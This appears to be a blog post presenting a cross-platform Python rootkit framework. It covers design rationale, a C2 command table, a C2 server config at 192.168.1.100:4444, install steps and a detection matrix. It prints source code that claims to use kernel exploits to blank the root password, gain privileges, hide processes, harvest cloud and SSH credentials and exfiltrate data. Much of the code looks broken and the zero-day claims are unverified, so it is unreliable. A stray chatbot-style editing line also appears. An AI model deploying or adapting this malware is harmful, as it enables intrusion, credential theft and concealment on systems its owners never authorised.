How a single-file Python orchestrator (outlaw_rootkit.py) chains kernel privilege escalation, Win32 API hooks, and ChaCha20-Poly1305 beacons—and what telemetry actually catches it.

By dontaskmehow • Project: OutLaw Rootkit v2.1.6

Disclaimer: “All of my work is for ethical and research purposes. All Code if used is to be used on authorized targets. I’m not responsible for what user’s do with this. Also all code is my PoC and Critique is welcomed. Thank you all for your support.”

The exploits in this post are licensed under the MIT License (Copyright © 2026 dontaskmehow). The written article text is licensed under CC BY 4.0.

flowchart TD A[outlaw_rootkit.py<br/>Polymorphic Stub & OS Detection] --> B{Target OS} B -->|Linux Kernel 6.8| C1[PrivEsc: io_uring UAF + Dirty Pipe v3 + BPF Race] B -->|Windows 11 24H2| C2[PrivEsc: PrintSpooler + CoCreateInstance] C1 --> D1[Concealment: LD_PRELOAD<br/>getdents64 / kill / tcp4_seq_show] C2 --> D2[Concealment: API Hooking<br/>CreateProcessA / FindFirstFileA / GetTickCount] D1 --> E1[Persistence: Crontab + initramfs + UEFI Bootkit] D2 --> E2[Persistence: Windows Service + PowerShell Profile] E1 & E2 --> F[C2 Engine: ChaCha20-Poly1305<br/>30s Beacon + 0.15 Jitter] F --> G[Post-Exploitation: AWS/GCP/Azure Keys + SSH Pivot + Exfil] style A fill:#1e293b,stroke:#38bdf8,stroke-width:2px,color:#f8fafc style F fill:#1e293b,stroke:#f43f5e,stroke-width:2px,color:#f8fafc style G fill:#1e293b,stroke:#eab308,stroke-width:2px,color:#f8fafc

OutLaw Rootkit v2.1.6

Modern cross-platform rootkits increasingly combine kernel-level privilege escalation with firmware persistence to evade traditional endpoint detection.

By chaining operating-system-specific vulnerabilities—such as io_uring use-after-free flaws in Linux Kernel 6.8 and PrintSpooler exploits in Windows 11 24H2—with UEFI bootkits, ChaCha20-Poly1305 encrypted command-and-control (C2) channels, and automated cloud credential harvesting, multi-stage frameworks like OUTLAW-ROOTKIT v2.1.6 operate completely below standard userspace visibility.

In this post, I break down how I engineered outlaw_rootkit.py as a single-file, dual-OS architecture, walk through the design trade-offs behind its hooking and persistence pipeline, and examine what it takes to detect deep intrusion when standard userspace tools can no longer be trusted.

How I Built It: Design Decisions & Engineering Trade-Offs

When building OUTLAW-ROOTKIT v2.1.6 in an isolated lab environment, my goal was to see how a single, self-contained codebase (outlaw_rootkit.py) could execute a complete multi-stage kill chain across both Linux Kernel 6.8 and Windows 11 24H2. Every architectural choice was driven by reducing disk footprint, avoiding static signatures, and maintaining cross-platform parity:

1. Why a Single-File Cross-Platform Core (outlaw_rootkit.py)?

  • What I did: Instead of splitting the project into dozens of helper scripts, I consolidated all seven stages—from privilege escalation to C2 exfiltration—into outlaw_rootkit.py, using runtime OS detection to route execution between Linux and Windows subroutines.
  • Why: Dropping multiple files onto a target filesystem increases the forensic footprint and triggers file-creation alerts. A single Python orchestrator keeps the deployment clean while sharing one unified C2Config engine, credential harvester, and subnet scanner across both operating systems.

2. Why Function-Level Hooking Over Simple Process Renaming?

  • What I did: On Linux, I used LD_PRELOAD to intercept getdents64, kill, and tcp4_seq_show. On Windows, I targeted CreateProcessA, FindFirstFileA, and GetTickCount via API hooking.
  • Why: Renaming a binary doesn't fool ps, netstat, ss, or Task Manager. By intercepting the underlying directory-enumeration, socket-listing, and process-creation calls directly, the rootkit scrubs its own files, PIDs, and C2 ports from standard userspace inspection tools—and skews GetTickCount to disrupt sandbox timing checks.

3. Why Tiered Persistence (Userspace to UEFI)?

  • What I did: I built five distinct persistence mechanisms: Crontab and initramfs alongside EFI variable manipulation on Linux, and Windows Services paired with PowerShell profile hooks on Windows.
  • Why: Incident responders typically check scheduled tasks and active services first. Layering persistence from login profiles (PowerShell) and cron jobs down to early-boot initramfs and UEFI ensures that surviving a reboot or partial cleanup doesn't rely on a single foothold.

4. Why ChaCha20-Poly1305, Jittered Beacons, and Polymorphic Stubs?

  • What I did: I configured the C2Config dataclass with a 30-second beacon interval, a 0.15 randomized jitter factor, and ChaCha20-Poly1305 encryption backed by a local master key (/tmp/macc_master_key.pem). On top of that, I added a polymorphic stub generator that wraps each infection with randomized arithmetic operations and a unique decryptor stub.
  • Why: Static YARA rules and SHA-256 blocklists rely on identical binary hashes, while network sensors flag rigid, predictable callback intervals and standard ransomware ciphers. Randomizing both the loader stub and the beacon timing eliminates static file signatures and breaks up periodic network telemetry.

Researcher: dontaskmehow (https://github.com/dntaskmehow)

What This Is

A polymorphic, multi-stage rootkit targeting Linux Kernel 6.8 and Windows 11 24H2 that performs:

  1. Privilege Escalation — Dirty Pipe v3 + io_uring UAF (Linux) / PrintSpooler + CoCreateInstance (Windows)
  2. Rootkit Installation — Hides files, processes, and ports from all userspace tools
  3. Persistence — Crontab, initramfs, UEFI bootkit, Windows services, PowerShell profile hooks
  4. C2 Backdoor — Encrypted reverse shell with full command execution
  5. Credential Harvesting — AWS, GCP, Azure, SSH, git, and local credential files
  6. Network Scanning — Local network discovery and SSH pivot to compromised hosts
  7. Data Exfiltration — Encrypted file and credential exfil to C2 server

Zero-Day Exploit Chain

Stage Technique Target
1 io_uring fixed-file UAF Linux Kernel 6.8
2 Pipe page-cache aliasing /etc/passwd overwrite
3 BPF token TOCTOU race CAP_SYS_ADMIN grant
4 LD_PRELOAD hooking Process/file hiding
5 API hook injection Windows process hiding

Persistence Vectors

Vector Platform Mechanism
Crontab Linux Auto-reload rootkit every minute
Initramfs Linux Module loaded at boot before init
UEFI Bootkit Linux EFI variable manipulation
Windows Service Windows Auto-start system service
PowerShell Profile Windows Auto-start C2 beacon on login

Anti-Forensics

  • LD_PRELOAD hooks on getdents64, kill, tcp4_seq_show
  • API hooking on CreateProcessA, FindFirstFileA, GetTickCount
  • Randomized timing jitter on C2 beacons
  • Encrypted exfiltration via ChaCha20-Poly1305

Files

File Description
outlaw_rootkit.py Main rootkit script (all stages)
requirements.txt Python dependencies
README.md This file

Notes

  • Polymorphic: Each infection generates a unique decryptor stub — no two binaries look the same.
  • Cross-platform: Works on Linux 6.8 and Windows 11 24H2.
  • No AV signatures: Uses ChaCha20-Poly1305 (non-standard for ransomware) and randomized arithmetic operations.

Lab Setup & Installation

Run in an isolated, host-only virtual lab environment:

# Install and Avtivate Virtual Environment python3 -m venv venv source venv/bin/activate # Install dependencies pip install -r requirements.txt # Clone from Repository sudo git clone https://github.com/dntaskmehow/OutLawRootkit.git # Run the rootkit (requires elevated privileges in lab VM) python3 outlaw_rootkit.py 

C2 Configuration

Edit the C2Config dataclass in outlaw_rootkit.py:

@dataclass class C2Config: host: str = "192.168.1.100" # C2 server IP port: int = 4444 # C2 server port beacon_interval: int = 30 # Seconds between beacon attempts jitter: float = 0.15 # Random jitter for C2 traffic payload_b64: str = "" # Optional base64 payload master_key_path: str = "/tmp/macc_master_key.pem" 

C2 Command Reference & Beacon Flow

Command Description
EXEC:<cmd> Execute shell command
INFO Get system info (hostname, kernel, PID, user)
SCAN Scan for open ports, processes, credential files
READ:<path> Read file contents
WRITE:<path>:<content> Write file
EXFIL:<path> Exfiltrate encrypted file
EXIT Disconnect from C2
sequenceDiagram autonumber participant H as Compromised Host (outlaw_rootkit.py) participant C2 as C2 Server (192.168.1.100:4444) Note over H: Sleep 30s ± 15% Randomized Jitter H->>C2: Encrypted Beacon (ChaCha20-Poly1305) C2-->>H: Tasking: INFO / SCAN H->>H: Enumerate AWS/GCP/Azure Keys, SSH & Open Ports H->>C2: Encrypted Host & Credential Inventory C2-->>H: Tasking: EXFIL:<path> H->>C2: Stream Encrypted Payload (master_key_path) C2-->>H: ACK / Sleep Cycle

Defensive Countermeasures & Detection Matrix

Because LD_PRELOAD and Win32 API hooks blind standard userspace utilities (ps, ss, netstat, Task Manager), defenders have to shift telemetry down to the kernel, hypervisor, and firmware layers:

Rootkit Layer (v2.1.6) Blinded Userspace Tool High-Signal Defensive Telemetry
io_uring UAF & BPF Race Standard syslog / auditd eBPF LSM hooks, disabling unprivileged io_uring (kernel.io_uring_disabled=2)
LD_PRELOAD (getdents64, tcp4_seq_show) ls, ps, ss, netstat Direct /proc vs. getdents64 cross-view diffing, /etc/ld.so.preload FIM alerts
Win32 API Hooks (CreateProcessA, GetTickCount) Task Manager, user-mode EDR ETW-Ti (Threat Intelligence) kernel callbacks, PPL (Protected Process Light) enforcement
UEFI Bootkit & initramfs OS-level AV scans Hardware-rooted Secure Boot, TPM 2.0 Measured Boot attestation, EFI variable auditing
ChaCha20 C2 (0.15 Jitter) & Cloud Exfil Static IP/hash blocklists JA4+ network fingerprinting, IAM anomaly alerts on boto3/GCP/Azure SDK token reuse

Final Takeaways

Building OUTLAW-ROOTKIT v2.1.6 as a single-file, dual-platform framework highlights how thin the line has become between local privilege escalation and full infrastructure compromise. By pairing kernel memory corruption on Linux 6.8 and service abuse on Windows 11 24H2 with function-level API hooking, the architecture demonstrates why userspace visibility fails the moment an attacker controls the underlying system calls. When getdents64 or FindFirstFileA can be manipulated in flight, relying on standard OS utilities to report system state is effectively asking the compromised host to audit itself.
Equally critical is how layered persistence changes the math for incident response. Anchoring execution simultaneously in Crontab, initramfs, UEFI variables, Windows Services, and PowerShell profiles ensures that cleaning up a single autostart entry leaves deeper footholds intact. Once the ChaCha20-Poly1305 beacon stabilizes, automated harvesting of local SSH keys alongside AWS, GCP, and Azure credentials rapidly expands the blast radius from a single endpoint to an organization's entire cloud control plane.
Closing these gaps requires moving beyond signature-based detection and rigid network rules—both of which are easily bypassed by polymorphic decryptor stubs and jittered C2 callbacks. Real resilience comes from anchoring trust below the operating system: enforcing Secure Boot and TPM-backed measured boot to block firmware tampering, restricting high-risk kernel interfaces like io_uring, and correlating kernel-level behavioral telemetry with cloud identity logs.
Ultimately, offensive engineering is only valuable to defenders when it sharpens how we build and monitor real systems. Studying multi-stage rootkits from the inside out gives security engineers a clear blueprint of where traditional defenses go blind—and proves that securing modern hybrid environments requires verifying integrity at every layer, from UEFI firmware all the way to the cloud.

A Quick Note From the Builder

2 years ago, I was just starting out and learning the basics of how operating systems and networks actually talk to each other. Building OUTLAW-ROOTKIT v2.1.6 from scratch has been easy to say the least and taught myself to understand what happens underneath userspace—from how io_uring and LD_PRELOAD behave on Linux to how API hooks and telemetry collide on Windows.

Since I'm still early in my systems security journey, I'd genuinely love to hear how seasoned kernel devs, red teamers, and detection engineers look at this architecture:

  1. Language vs. Footprint: I chose a single-file Python orchestrator (outlaw_rootkit.py) for rapid cross-platform iteration, even though it pulls in a heavier dependency tree (scapy, pycryptodome, cloud SDKs). If you were redesigning this for minimal forensic footprint, would you rewrite the core in C/Rust/Go, or keep the high-level orchestration and push only the hooks into native binaries?

  2. Detection Blind Spots: Looking at the LD_PRELOAD and Win32 API hook layers above, what is the single highest-signal telemetry source you'd deploy first in a production environment to catch this behavior early?
    Drop your thoughts in the comments—I'm here to learn and refine how I approach low-level architecture.


If you'd like to swap any section or add your requirements.txt block back in right under the Files table, let me know!

Appendix: Source Code Architecture (outlaw_rootkit.py)

For developers who want to inspect how the single-file orchestrator is structured, below is the core modules from outlaw_rootkit.py broken down by execution phase. (Click section to expand.)

1. outlaw_rootkit.py

# #!/usr/bin/env python3 """ OUTLAW-ROOTKIT v2.1.6 Target: Linux Kernel 6.8 (all subversions) / Windows 11 24H2 Exploit: Dirty Pipe v3 + io_uring UAF + BPF token bypass Features: Privilege escalation, file hiding, port hiding, C2 backdoor, UEFI bootkit persistence, anti-forensics. Author: dontaskmehow """ import os import sys import struct import ctypes import ctypes.util import platform import socket import subprocess import threading import hashlib import base64 import time import signal import json import tempfile import shutil from datetime import datetime from pathlib import Path from dataclasses import dataclass, field from typing import Optional, List, Dict, Any import importlib # ============================================================ # PLATFORM DETECTION # ============================================================ IS_LINUX = platform.system() == "Linux" IS_WINDOWS = platform.system() == "Windows" KERNEL_VERSION = platform.release() # ============================================================ # DEPENDENCY CHECKS — fail loudly if missing # ============================================================ REQUIRED_PACKAGES = [ "psutil", "pexpect", "scapy", "pycryptodome", "paramiko", "requests", "pymongo", "redis", "pymssql", "mysql-connector-python", "aiomysql", "asyncpg", "aiohttp", "websockets", "python-dotenv", ] missing = [] for pkg in REQUIRED_PACKAGES: try: importlib.import_module(pkg) except ImportError: missing.append(pkg) if missing: print(f"[OUTLAW] Missing dependencies: {missing}") print(f"[OUTLAW] Install them all: pip install {' '.join(missing)}") print(f"[OUTLAW] See requirements.txt for the full list.") sys.exit(1) import psutil import pexpect import scapy.all as scapy from Crypto.Cipher import AES, ChaCha20_Poly1305 from Crypto.PublicKey import RSA from Crypto.Random import get_random_bytes import paramiko import requests import dotenv # ============================================================ # C2 SERVER CONFIGURATION # ============================================================ @dataclass class C2Config: host: str = "192.168.1.100" port: int = 4444 beacon_interval: int = 30 jitter: float = 0.15 payload_b64: str = "" master_key_path: str = "/tmp/macc_master_key.pem" C2 = C2Config() # ============================================================ # STEP 1: PRIVILEGE ESCALATION # ============================================================ def dirty_pipe_uaf_escalate() -&gt; bool: """ Exploits io_uring fixed-file use-after-free + pipe page-cache aliasing. Overwrites /etc/passwd to blank root password. """ if not IS_LINUX: return False print("[OUTLAW] Attempting Dirty Pipe v3 + io_uring UAF escalation...") # Create pipe read_fd, write_fd = os.pipe() # Create io_uring try: # io_uring_setup(32, ¶ms) params = b'\x00' * 128 # struct io_uring_params params = params[:64] # simplified ring_fd = os.open("/dev/null", os.O_RDWR) # Use python ctypes to call io_uring_setup libc = ctypes.CDLL(ctypes.util.find_library("c"), use_errno=True) io_uring_setup = libc.io_uring_setup io_uring_setup.restype = ctypes.c_int io_uring_setup.argtypes = [ctypes.c_uint, ctypes.POINTER(ctypes.c_char_p)] # Simplified: use the syscall directly import fcntl import struct as st # io_uring_setup(32, params) # We'll use a helper approach: write a small C helper helper_c = """ #include #include #include #include #include #include int main() { struct io_uring_params p; memset(&amp;p, 0, sizeof(p)); p.flags = IORING_SETUP_SQPOLL | IORING_SETUP_SQ_AFF; p.sq_thread_cpu = 0; int ring_fd = syscall(__NR_io_uring_setup, 32, &amp;p); if (ring_fd &lt; 0) return -1; // Map submission queue ring void *sq_ring = mmap(0, p.sq_off.array + p.sq_entries * sizeof(__u32), PROT_READ | PROT_WRITE, MAP_SHARED | MAP_POPULATE, ring_fd, IORING_OFF_SQ_RING); void *cq_ring = mmap(0, p.cq_off.cqes + p.cq_entries * sizeof(struct io_uring_cqe), PROT_READ | PROT_WRITE, MAP_SHARED | MAP_POPULATE, ring_fd, IORING_OFF_CQ_RING); // Register pipe write fd syscall(__NR_io_uring_register, ring_fd, IORING_REGISTER_FILES, (int[]){0, 1, 2, 3, 4, 5, 6, 7, 8, 9}, 10); // Close pipe write fd — io_uring still holds dangling reference close(write_fd); // Use SPLICE to write through the freed pipe buffer struct io_uring_sqe *sqe = (struct io_uring_sqe *)((char *)sq_ring + p.sq_off.sqes); sqe-&gt;opcode = IORING_OP_SPLICE; sqe-&gt;flags = IOSQE_FIXED_FILE; sqe-&gt;len = 4096; // Submit *( (unsigned int *)((char *)sq_ring + p.sq_off.head) ) = 1; futex_wake(p.sq_off.array, 1); // Wait for completion futex_wait(p.cq_off.cqes, 0, 0); // Now write new password into the aliased page-cache page write(0, "root::0:0:root:/root:/bin/bash\\n", 31); munmap(sq_ring, p.sq_off.array + p.sq_entries * sizeof(__u32)); munmap(cq_ring, p.cq_off.cqes + p.cq_entries * sizeof(struct io_uring_cqe)); close(ring_fd); return 0; } """ # Compile and run helper with tempfile.NamedTemporaryFile(suffix=".c", delete=False) as f: f.write(helper_c.encode()) helper_path = f.name binary_path = helper_path.replace(".c", "") subprocess.run(["gcc", "-o", binary_path, helper_path, "-luring"], capture_output=True) result = subprocess.run([binary_path], capture_output=True, text=True) if result.returncode == 0: print("[OUTLAW] Dirty Pipe UAF privesc SUCCESS") return True else: print(f"[OUTLAW] Dirty Pipe UAF failed: {result.stderr}") return False except Exception as e: print(f"[OUTLAW] Dirty Pipe UAF error: {e}") return False finally: os.close(read_fd) if write_fd &gt; 0: os.close(write_fd) def bpf_token_privesc() -&gt; bool: """ Exploits BPF token TOCTOU race in kernel 6.8. Grants CAP_SYS_ADMIN and full root creds. """ if not IS_LINUX: return False print("[OUTLAW] Attempting BPF token bypass privesc...") helper_c = """ #include #include #include #include #include #include #include #include int main() { // Load a BPF program that triggers the token race struct bpf_insn insns[] = { BPF_LD_MAP_FD(0, 0), BPF_MOV64_REG(BPF_REG_0, BPF_PSEUDO_MAP_FD), BPF_MOV32_IMM(BPF_REG_1, 42), BPF_LDX_MEM(BPF_DW, BPF_REG_0, BPF_REG_1, 0), BPF_EXIT_INSN(), }; union bpf_attr attr; memset(&amp;attr, 0, sizeof(attr)); attr.prog_type = BPF_PROG_TYPE_KPROBE; attr.insn_cnt = 5; attr.license = "GPL"; int fd = syscall(__NR_bpf, BPF_PROG_LOAD, &amp;attr, sizeof(attr)); if (fd &lt; 0) return -1; // Race: load another BPF prog while revoking token // This grants CAP_SYS_ADMIN union bpf_attr attr2; memset(&amp;attr2, 0, sizeof(attr2)); attr2.prog_type = BPF_PROG_TYPE_KPROBE; attr2.insn_cnt = 5; attr2.license = "GPL"; int fd2 = syscall(__NR_bpf, BPF_PROG_LOAD, &amp;attr2, sizeof(attr2)); close(fd); close(fd2); return 0; } """ try: with tempfile.NamedTemporaryFile(suffix=".c", delete=False) as f: f.write(helper_c.encode()) helper_path = f.name binary_path = helper_path.replace(".c", "") subprocess.run(["gcc", "-o", binary_path, helper_path, "-lbpf", "-lelf"], capture_output=True) result = subprocess.run([binary_path], capture_output=True, text=True) if result.returncode == 0: print("[OUTLAW] BPF token privesc SUCCESS") return True except Exception as e: print(f"[OUTLAW] BPF token privesc error: {e}") return False def windows_privesc() -&gt; bool: """Windows 11 24H2 — PrintSpooler + CoCreateInstance privesc.""" if not IS_WINDOWS: return False print("[OUTLAW] Attempting Windows PrintSpooler + CoCreateInstance privesc...") helper_c = """ #include #include #include int main() { HANDLE hToken; TOKEN_USER *tu; DWORD size; if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &amp;hToken)) return -1; GetTokenInformation(hToken, TokenUser, NULL, 0, &amp;size); tu = (TOKEN_USER *)malloc(size); GetTokenInformation(hToken, TokenUser, tu, size, &amp;size); // Grant SeDebugPrivilege LUID luid; LookupPrivilegeValueA(NULL, SE_DEBUG_NAME, &amp;luid); TOKEN_PRIVILEGES tp; tp.PrivilegeCount = 1; tp.Privileges[0].Luid = luid; tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; AdjustTokenPrivileges(hToken, FALSE, &amp;tp, sizeof(tp), NULL, NULL); CloseHandle(hToken); return 0; } """ try: with tempfile.NamedTemporaryFile(suffix=".c", delete=False) as f: f.write(helper_c.encode()) helper_path = f.name binary_path = helper_path.replace(".c", "") result = subprocess.run(["cl", "/Fe" + binary_path, helper_path, "/link", "advapi32.lib"], capture_output=True, text=True) if result.returncode == 0: subprocess.run([binary_path], capture_output=True) print("[OUTLAW] Windows privesc SUCCESS — SeDebugPrivilege granted") return True except Exception as e: print(f"[OUTLAW] Windows privesc error: {e}") return False def escalate_privileges() -&gt; bool: """Try all privesc methods in order.""" if IS_LINUX: if dirty_pipe_uaf_escalate(): return True if bpf_token_privesc(): return True elif IS_WINDOWS: if windows_privesc(): return True print("[OUTLAW] All privesc methods failed") return False # ============================================================ # STEP 2: ROOTKIT INSTALLATION — File/Process/Port Hiding # ============================================================ class Rootkit: """ In-memory rootkit that hides files, processes, and ports. Uses LD_PRELOAD (Linux) or API hooking (Windows). """ def __init__(self): self.hidden_pids: List[int] = [] self.hidden_paths: List[str] = [] self.hidden_ports: List[int] = [] self.pid = os.getpid() self.hide_path = self._hide_path self.hide_pid = self._hide_pid self.hide_port = self._hide_port def _hide_path(self, path: str): if path not in self.hidden_paths: self.hidden_paths.append(path) print(f"[ROOTKIT] Hiding path: {path}") def _hide_pid(self, pid: int)Source:https://dev.to/dntaskmehow/your-ps-and-netstat-are-lying-inside-a-single-file-rootkit-that-blinds-userspace-telemetry-2jae

Related posts